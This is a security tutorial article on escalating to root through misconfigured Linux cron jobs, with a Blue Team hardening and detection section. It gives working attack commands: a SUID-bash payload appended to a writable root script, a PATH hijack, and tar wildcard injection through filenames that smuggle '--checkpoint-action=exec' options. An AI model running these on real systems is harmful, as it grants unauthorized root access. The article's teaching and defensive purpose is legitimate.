Disclaimer: This article is for education and authorized security testing only. Run these techniques exclusively against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.
Introduction
Cron is the classic Linux job scheduler, and misconfigured cron jobs are one of the most reliable paths from a low-privileged shell to root during a real engagement. The reason is simple: cron jobs often run as a privileged user (frequently root), on a predictable schedule, and they execute scripts on disk whose permissions or contents are surprisingly often controllable by an attacker.
In this article you'll learn how to enumerate cron from an unprivileged shell, how to abuse three common misconfigurations — a world-writable cron script, a relative path / weak $PATH, and wildcard (*) injection — and how to catch scheduled jobs you can't see in crontab using pspy. We finish with a Blue Team section on detection and hardening that carries equal weight to the offensive material.
This pairs well with the broader methodology in Linux Privilege Escalation Fundamentals and the file-based attacks in SUID and GTFOBins Exploitation.
How Cron Works
Cron is driven by the cron/crond daemon, which reads job definitions from several locations:
- Per-user crontabs:
/var/spool/cron/crontabs/<user>(Debian) or/var/spool/cron/<user>(RHEL), managed viacrontab -e. - The system crontab:
/etc/crontab. - Drop-in directories:
/etc/cron.d/, and the run-parts directories/etc/cron.hourly/,/etc/cron.daily/,/etc/cron.weekly/,/etc/cron.monthly/.
A system crontab line includes the user field, which is what makes it dangerous — the sixth field tells cron which account to run the command as:
# m h dom mon dow user command
*/5 * * * * root /opt/scripts/backup.shPlaintextThe key insight for an attacker: cron itself is fine. The vulnerability lives in what the scheduled command touches — the script file, the binaries it calls, and the files it globs over. If any of those is writable by you, the job's privilege becomes your privilege.
Prerequisites / Lab Setup
To reproduce this safely, spin up any Ubuntu/Debian VM and create the misconfigurations as root:
# As root, create a privileged cron job that runs a writable script
sudo mkdir -p /opt/scripts
sudo tee /opt/scripts/backup.sh >/dev/null <<'EOF'
#!/bin/bash
cd /var/backups
tar czf /var/backups/home.tgz *
EOF
sudo chmod 777 /opt/scripts/backup.sh # Misconfig #1: world-writable
echo '*/2 * * * * root /opt/scripts/backup.sh' | sudo tee /etc/cron.d/backupBashThen log in as a normal user (e.g. www-data or any unprivileged account) to act as the attacker.
Attack Walkthrough
Step 1 — Enumerate everything readable
# Per-user and system crontabs you can read
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
cat /etc/cron.d/* 2>/dev/null
# Anyone's crontab you happen to be able to read
crontab -l 2>/dev/null
# What runs and which files it references — then check permissions
ls -la /opt/scripts/Bashlinpeas.sh automates this (linpeas.sh -o ProcCron), but understand the manual checks first.
Step 2 (Misconfig #1) — Writable script
If the script invoked by a root cron job is writable by you, this is game over. Append a reverse shell or a SUID-bash payload:
# Confirm you can write to it
ls -la /opt/scripts/backup.sh # -rwxrwxrwx ... = writable by all
# Plant a payload that runs the next time cron fires
echo 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' >> /opt/scripts/backup.sh
# Wait for the cron interval, then:
/tmp/rootbash -p
# bash-5.1# id -> euid=0(root)Bashbash -p preserves the elevated effective UID of the SUID binary. Cleaner than a reverse shell for an interactive box.
Step 3 (Misconfig #2) — Relative path / weak PATH hijack
Cron often runs with a minimal PATH (commonly PATH=/usr/bin:/bin set at the top of /etc/crontab). If a root job calls a binary by relative name and you can prepend a writable directory to that PATH, or the script cds into a writable directory, you can shadow the binary:
# Example root cron: */1 * * * * root cd /home/dev && ./cleanup
# /home/dev is writable by you, and 'cleanup' is a relative call.
# Drop a malicious 'cleanup' (or shadow 'tar', 'cp', etc.) that wins resolution
cat > /home/dev/cleanup <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash
EOF
chmod +x /home/dev/cleanupBashIf the crontab line is PATH=.:/usr/bin or the script doesn't use absolute paths, your binary executes as root.
Step 4 (Misconfig #3) — Wildcard injection
Our lab backup.sh runs tar czf ... * inside a directory. The shell expands * to filenames before tar runs, so any file whose name looks like a tar option becomes an argument. tar's --checkpoint-action lets us execute a command — this is the canonical wildcard injection (works for tar, rsync, chown, chmod, and others via GTFOBins).
cd /var/backups # the directory tar globs over
# Create files whose NAMES are tar options
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' > shell.sh
chmod +x shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
# When 'tar czf home.tgz *' fires as root, the * expands to:
# tar czf home.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh
# tar then executes shell.sh as root.BashAfter the next run, /tmp/rootbash -p gives you root. The touch -- and -- "--option" syntax is required so the shell treats the leading dashes as a filename, not as flags to touch.
Step 5 — Finding invisible jobs with pspy
The hardest case: a root job exists, but you can't read its crontab or the script. pspy is an unprivileged process snooper that uses inotify on procfs and CN_PROC netlink to print every process start — no root needed. It reveals the exact command lines and timing of cron jobs you'd otherwise miss.
# Drop the static binary onto the target (no deps)
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64 -pf -i 1000 # print files/cmdlines, poll every 1000msBashWatch for recurring UID 0 commands firing on a round interval — those are your cron candidates. pspy reveals the absolute script path and arguments, which tells you immediately which of the three misconfigs above to attempt.
Attack Flow Diagram

Text version: from a low-privileged shell, enumerate cron; if jobs are hidden, use pspy to observe root processes; identify whether the job has a writable script, a weak PATH/relative call, or a wildcard glob, then plant the matching payload that executes when cron next runs as root.
Detection & Defense (Blue Team)
Cron abuse maps to MITRE ATT&CK T1053.003 (Scheduled Task/Job: Cron) and T1574 (Hijack Execution Flow). Defend in depth:
1. Lock down permissions. Cron scripts and their parent directories must be owned by root and not writable by non-root. Audit regularly:
# Find world/group-writable files referenced by cron paths
find /etc/cron* /opt/scripts /usr/local/bin -perm -o+w -type f -ls
find /etc/cron* -perm -g+w -type f -ls
# Scripts should be 0755 root:root, crontab files 0644 root:root, /etc/cron.d 0755Bash2. Always use absolute paths and a fixed PATH. Set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin at the top of crontabs and call every binary by full path. Never cd into a non-root-owned directory before invoking relative commands.
3. Kill wildcard injection. Never run tar/rsync/chown against a bare *. Anchor globs with ./ and terminate option parsing:
# Safe: ./* prevents filenames being read as options; -- ends option parsing
cd /var/backups && tar czf /var/backups/home.tgz -- ./*
# Better: feed an explicit, validated file list and avoid attacker-controlled dirsBash4. Restrict who can schedule jobs. Use /etc/cron.allow (allowlist) and /etc/cron.deny to control crontab access, and audit /var/spool/cron/.
5. Detect at runtime. Cron logs to /var/log/syslog (Debian) or /var/log/cron (RHEL) and to the systemd journal. Hunt for jobs and changes:
journalctl -u cron --since "today" | grep CMD
grep CRON /var/log/syslog
# auditd: alert on writes to cron locations
auditctl -w /etc/cron.d/ -p wa -k cron_change
auditctl -w /etc/crontab -p wa -k cron_change
auditctl -w /var/spool/cron/ -p wa -k cron_changeBashPair auditd rules with a SIEM alert on new/modified cron files and on chmod 4755/cp /bin/bash patterns — these are high-signal indicators of the SUID-bash trick shown above. File integrity monitoring (AIDE, Tripwire) on /opt/scripts, /usr/local/bin, and all cron directories catches the writable-script attack before it fires.
Conclusion
Cron itself isn't the bug — the writable script, the relative binary call, and the unquoted wildcard are. As an attacker, your workflow is: enumerate readable cron, fall back to pspy when jobs are hidden, inspect file permissions and arguments, then plant the smallest payload (a SUID bash) that the privileged job will execute for you. As a defender, the fix is unglamorous but absolute: root:root ownership, 0755/0644 permissions, absolute paths, anchored globs, and auditd watches on every cron location. For more file-permission tradecraft, see Writable /etc/passwd and Shadow Abuse.
References
- MITRE ATT&CK — T1053.003 Scheduled Task/Job: Cron — https://attack.mitre.org/techniques/T1053/003/
- HackTricks — Linux Privilege Escalation (Cron) — https://book.hacktricks.xyz/linux-hardening/privilege-escalation
- GTFOBins (tar, rsync, chown) — https://gtfobins.github.io/
- pspy — https://github.com/DominicBreuker/pspy
- PEASS-ng / linPEAS — https://github.com/peass-ng/PEASS-ng
- crontab(5) / cron(8) man pages — https://man7.org/linux/man-pages/man5/crontab.5.html



Comments